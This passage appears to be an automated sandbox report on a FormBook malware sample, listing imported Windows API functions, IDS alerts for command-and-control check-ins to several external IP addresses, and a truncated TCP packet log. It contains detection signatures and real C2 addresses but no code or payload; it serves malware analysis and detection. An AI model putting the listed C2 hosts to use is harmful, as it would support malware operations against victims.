ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-18T13:12:53.485931+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53115	47.76.213.197	80	TCP
2024-11-18T13:13:09.437341+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53149	13.248.169.48	80	TCP
2024-11-18T13:13:11.999199+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53150	13.248.169.48	80	TCP
2024-11-18T13:13:14.530180+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53151	13.248.169.48	80	TCP
2024-11-18T13:13:17.093699+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53152	13.248.169.48	80	TCP
2024-11-18T13:13:23.094046+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53153	176.117.73.104	80	TCP
2024-11-18T13:13:25.812830+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53154	176.117.73.104	80	TCP
2024-11-18T13:13:28.640925+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53155	176.117.73.104	80	TCP
2024-11-18T13:13:31.532538+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53156	176.117.73.104	80	TCP
2024-11-18T13:13:37.411117+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53157	13.248.169.48	80	TCP
2024-11-18T13:13:39.960092+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53158	13.248.169.48	80	TCP
2024-11-18T13:13:42.463269+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53159	13.248.169.48	80	TCP
2024-11-18T13:13:45.053482+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53160	13.248.169.48	80	TCP
2024-11-18T13:13:51.201404+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53161	107.167.84.42	80	TCP
2024-11-18T13:13:53.754465+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53162	107.167.84.42	80	TCP
2024-11-18T13:13:56.424552+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53163	107.167.84.42	80	TCP
2024-11-18T13:13:59.085864+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53164	107.167.84.42	80	TCP
2024-11-18T13:14:05.141058+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53165	176.32.38.130	80	TCP
2024-11-18T13:14:07.781687+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53166	176.32.38.130	80	TCP
2024-11-18T13:14:10.517191+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53167	176.32.38.130	80	TCP
2024-11-18T13:14:13.078566+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53168	176.32.38.130	80	TCP
2024-11-18T13:14:19.154386+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53169	161.97.142.144	80	TCP
2024-11-18T13:14:21.698796+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53170	161.97.142.144	80	TCP
2024-11-18T13:14:24.360270+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53171	161.97.142.144	80	TCP
2024-11-18T13:14:27.024295+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53172	161.97.142.144	80	TCP
2024-11-18T13:14:33.633607+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53173	203.161.46.205	80	TCP
2024-11-18T13:14:36.188442+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53174	203.161.46.205	80	TCP
2024-11-18T13:14:38.756479+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53175	203.161.46.205	80	TCP
2024-11-18T13:14:41.324493+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53176	203.161.46.205	80	TCP
2024-11-18T13:14:48.594377+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53177	20.2.36.112	80	TCP
2024-11-18T13:14:51.141237+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53178	20.2.36.112	80	TCP
2024-11-18T13:14:53.656857+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	53179	20.2.36.112	80	TCP
2024-11-18T13:14:56.235004+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	53180	20.2.36.112	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 13:12:52.453747034 CET	53115	80	192.168.2.7	47.76.213.197
Nov 18, 2024 13:12:52.458596945 CET	80	53115	47.76.213.197	192.168.2.7
Nov 18, 2024 13:12:52.458707094 CET	53115	80	192.168.2.7	47.76.213.197
Nov 18, 2024 13:12:52.512556076 CET	53115	80	192.168.2.7	47.76.213.197
Nov 18, 2024 13:12:52.517467976 CET	80	53115	47.76.213.197	192.168.2.7
Nov 18, 2024 13:12:53.441814899 CET	80	53115	47.76.213.197	192.168.2.7
Nov 18, 2024 13:12:53.485930920 CET	53115	80	192.168.2.7	47.76.213.197
Nov 18, 2024 13:12:53.637706041 CET	80	53115	47.76.213.197	192.168.2.7
Nov 18, 2024 13:12:53.637888908 CET	53115	80	192.168.2.7	47.76.213.197
Nov 18, 2024 13:12:53.642390013 CET	53115	80	192.168.2.7	47.76.213.197
Nov 18, 2024 13:12:53.647726059 CET	80	53115	47.76.213.197	192.168.2.7
Nov 18, 2024 13:13:08.740921974 CET	53149	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:08.745994091 CET	80	53149	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:08.746154070 CET	53149	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:08.760742903 CET	53149	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:08.765774965 CET	80	53149	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:09.437261105 CET	80	53149	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:09.437340975 CET	53149	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:10.266155958 CET	53149	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:10.271307945 CET	80	53149	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:11.292529106 CET	53150	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:11.297595978 CET	80	53150	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:11.297796965 CET	53150	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:11.312334061 CET	53150	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:11.317344904 CET	80	53150	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:11.999111891 CET	80	53150	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:11.999198914 CET	53150	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:12.828701019 CET	53150	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:12.833832026 CET	80	53150	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:13.847521067 CET	53151	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:13.852547884 CET	80	53151	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:13.852653980 CET	53151	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:13.867085934 CET	53151	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:13.872143984 CET	80	53151	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:13.872186899 CET	80	53151	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:14.530010939 CET	80	53151	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:14.530179977 CET	53151	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:15.375399113 CET	53151	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:15.380347013 CET	80	53151	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:16.394114971 CET	53152	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:16.399259090 CET	80	53152	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:16.399386883 CET	53152	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:16.408215046 CET	53152	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:16.414262056 CET	80	53152	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:17.060798883 CET	80	53152	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:17.093553066 CET	80	53152	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:17.093698978 CET	53152	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:17.094763994 CET	53152	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:17.101082087 CET	80	53152	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:22.195954084 CET	53153	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:22.200896978 CET	80	53153	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:22.201041937 CET	53153	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:22.397254944 CET	53153	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:22.402333975 CET	80	53153	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:23.041517973 CET	80	53153	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:23.094046116 CET	53153	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:23.161762953 CET	80	53153	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:23.161833048 CET	53153	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:23.906706095 CET	53153	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:24.931166887 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:24.936213017 CET	80	53154	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:24.936342955 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:24.992558002 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:24.997539043 CET	80	53154	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:25.766143084 CET	80	53154	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:25.812829971 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:26.172859907 CET	80	53154	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:26.173041105 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:26.173152924 CET	80	53154	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:26.173226118 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:26.500726938 CET	53154	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:27.520338058 CET	53155	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:27.757010937 CET	80	53155	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:27.757116079 CET	53155	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:27.777478933 CET	53155	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:27.782413960 CET	80	53155	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:27.782497883 CET	80	53155	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:28.587275982 CET	80	53155	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:28.640924931 CET	53155	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:28.705878973 CET	80	53155	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:28.706058025 CET	53155	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:29.281758070 CET	53155	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:30.303400040 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:30.308568001 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:30.308700085 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:30.390229940 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:30.395235062 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532265902 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532334089 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532392979 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532521009 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532537937 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.532572985 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532594919 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.532624006 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532674074 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.532705069 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.533117056 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.533165932 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.533174992 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.533220053 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.533284903 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.647066116 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:31.647269964 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.648814917 CET	53156	80	192.168.2.7	176.117.73.104
Nov 18, 2024 13:13:31.653712034 CET	80	53156	176.117.73.104	192.168.2.7
Nov 18, 2024 13:13:36.705244064 CET	53157	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:36.710299015 CET	80	53157	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:36.710369110 CET	53157	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:36.728044033 CET	53157	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:36.732898951 CET	80	53157	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:37.411020994 CET	80	53157	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:37.411117077 CET	53157	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:38.238135099 CET	53157	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:38.243158102 CET	80	53157	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:39.253700018 CET	53158	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:39.258795977 CET	80	53158	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:39.258917093 CET	53158	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:39.274394989 CET	53158	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:39.279287100 CET	80	53158	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:39.959908962 CET	80	53158	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:39.960092068 CET	53158	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:40.781712055 CET	53158	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:40.786678076 CET	80	53158	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:41.800550938 CET	53159	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:41.805701017 CET	80	53159	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:41.805794001 CET	53159	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:41.823069096 CET	53159	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:41.828084946 CET	80	53159	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:41.828171968 CET	80	53159	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:42.463135004 CET	80	53159	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:42.463268995 CET	53159	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:43.336425066 CET	53159	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:43.341445923 CET	80	53159	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:44.347446918 CET	53160	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:44.352677107 CET	80	53160	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:44.352781057 CET	53160	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:44.361424923 CET	53160	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:44.366539955 CET	80	53160	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:45.021100998 CET	80	53160	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:45.053297043 CET	80	53160	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:45.053482056 CET	53160	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:45.054344893 CET	53160	80	192.168.2.7	13.248.169.48
Nov 18, 2024 13:13:45.059159040 CET	80	53160	13.248.169.48	192.168.2.7
Nov 18, 2024 13:13:50.552486897 CET	53161	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:50.557481050 CET	80	53161	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:50.557565928 CET	53161	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:50.572206020 CET	53161	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:50.577276945 CET	80	53161	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:51.201149940 CET	80	53161	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:51.201195002 CET	80	53161	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:51.201404095 CET	53161	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:51.222337961 CET	80	53161	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:51.222592115 CET	53161	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:52.103833914 CET	53161	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:53.113701105 CET	53162	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:53.119198084 CET	80	53162	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:53.119285107 CET	53162	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:53.134028912 CET	53162	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:53.139307976 CET	80	53162	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:53.754245996 CET	80	53162	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:53.754277945 CET	80	53162	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:53.754465103 CET	53162	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:53.776603937 CET	80	53162	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:53.776846886 CET	53162	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:54.641109943 CET	53162	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:55.781397104 CET	53163	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:55.786628962 CET	80	53163	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:55.789597034 CET	53163	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:55.919303894 CET	53163	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:55.924243927 CET	80	53163	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:55.924261093 CET	80	53163	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:56.424360991 CET	80	53163	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:56.424381971 CET	80	53163	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:56.424551964 CET	53163	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:56.445944071 CET	80	53163	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:56.446098089 CET	53163	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:57.422477961 CET	53163	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:58.441061020 CET	53164	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:58.446096897 CET	80	53164	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:58.446207047 CET	53164	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:58.455259085 CET	53164	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:58.460313082 CET	80	53164	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:59.085617065 CET	80	53164	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:59.085654020 CET	80	53164	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:59.085864067 CET	53164	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:59.107266903 CET	80	53164	107.167.84.42	192.168.2.7
Nov 18, 2024 13:13:59.107501030 CET	53164	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:59.109364986 CET	53164	80	192.168.2.7	107.167.84.42
Nov 18, 2024 13:13:59.114346981 CET	80	53164	107.167.84.42	192.168.2.7
Nov 18, 2024 13:14:04.157341957 CET	53165	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:04.162425041 CET	80	53165	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:04.162616968 CET	53165	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:04.178936005 CET	53165	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:04.183760881 CET	80	53165	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:05.087698936 CET	80	53165	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:05.141057968 CET	53165	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:05.245594978 CET	80	53165	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:05.245748997 CET	53165	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:05.688076019 CET	53165	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:06.809012890 CET	53166	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:06.814336061 CET	80	53166	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:06.814491987 CET	53166	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:07.044697046 CET	53166	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:07.049623013 CET	80	53166	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:07.736435890 CET	80	53166	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:07.781687021 CET	53166	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:07.898957014 CET	80	53166	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:07.899060965 CET	53166	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:08.547527075 CET	53166	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:09.566185951 CET	53167	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:09.571186066 CET	80	53167	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:09.571278095 CET	53167	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:09.585781097 CET	53167	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:09.590665102 CET	80	53167	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:09.590912104 CET	80	53167	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:10.474663019 CET	80	53167	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:10.517190933 CET	53167	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:10.629995108 CET	80	53167	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:10.630070925 CET	53167	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:11.094286919 CET	53167	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:12.113079071 CET	53168	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:12.118053913 CET	80	53168	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:12.118158102 CET	53168	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:12.127274990 CET	53168	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:12.132276058 CET	80	53168	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:13.032849073 CET	80	53168	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:13.078566074 CET	53168	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:13.193427086 CET	80	53168	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:13.193708897 CET	53168	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:13.195502043 CET	53168	80	192.168.2.7	176.32.38.130
Nov 18, 2024 13:14:13.200359106 CET	80	53168	176.32.38.130	192.168.2.7
Nov 18, 2024 13:14:18.276961088 CET	53169	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:18.281991005 CET	80	53169	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:18.282078028 CET	53169	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:18.296999931 CET	53169	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:18.302088976 CET	80	53169	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:19.154207945 CET	80	53169	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:19.154241085 CET	80	53169	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:19.154386044 CET	53169	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:19.281522989 CET	80	53169	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:19.281644106 CET	53169	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:19.814907074 CET	53169	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:20.839162111 CET	53170	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:20.844266891 CET	80	53170	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:20.844474077 CET	53170	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:20.863195896 CET	53170	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:20.868278027 CET	80	53170	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:21.698690891 CET	80	53170	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:21.698707104 CET	80	53170	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:21.698796034 CET	53170	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:21.825431108 CET	80	53170	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:21.825567007 CET	53170	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:22.375552893 CET	53170	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:23.499183893 CET	53171	80	192.168.2.7	161.97.142.144
Nov 18, 2024 13:14:23.504190922 CET	80	53171	161.97.142.144	192.168.2.7
Nov 18, 2024 13:14:23.504338980 CET	53171	80	192.168.2.7	161.97.142.144
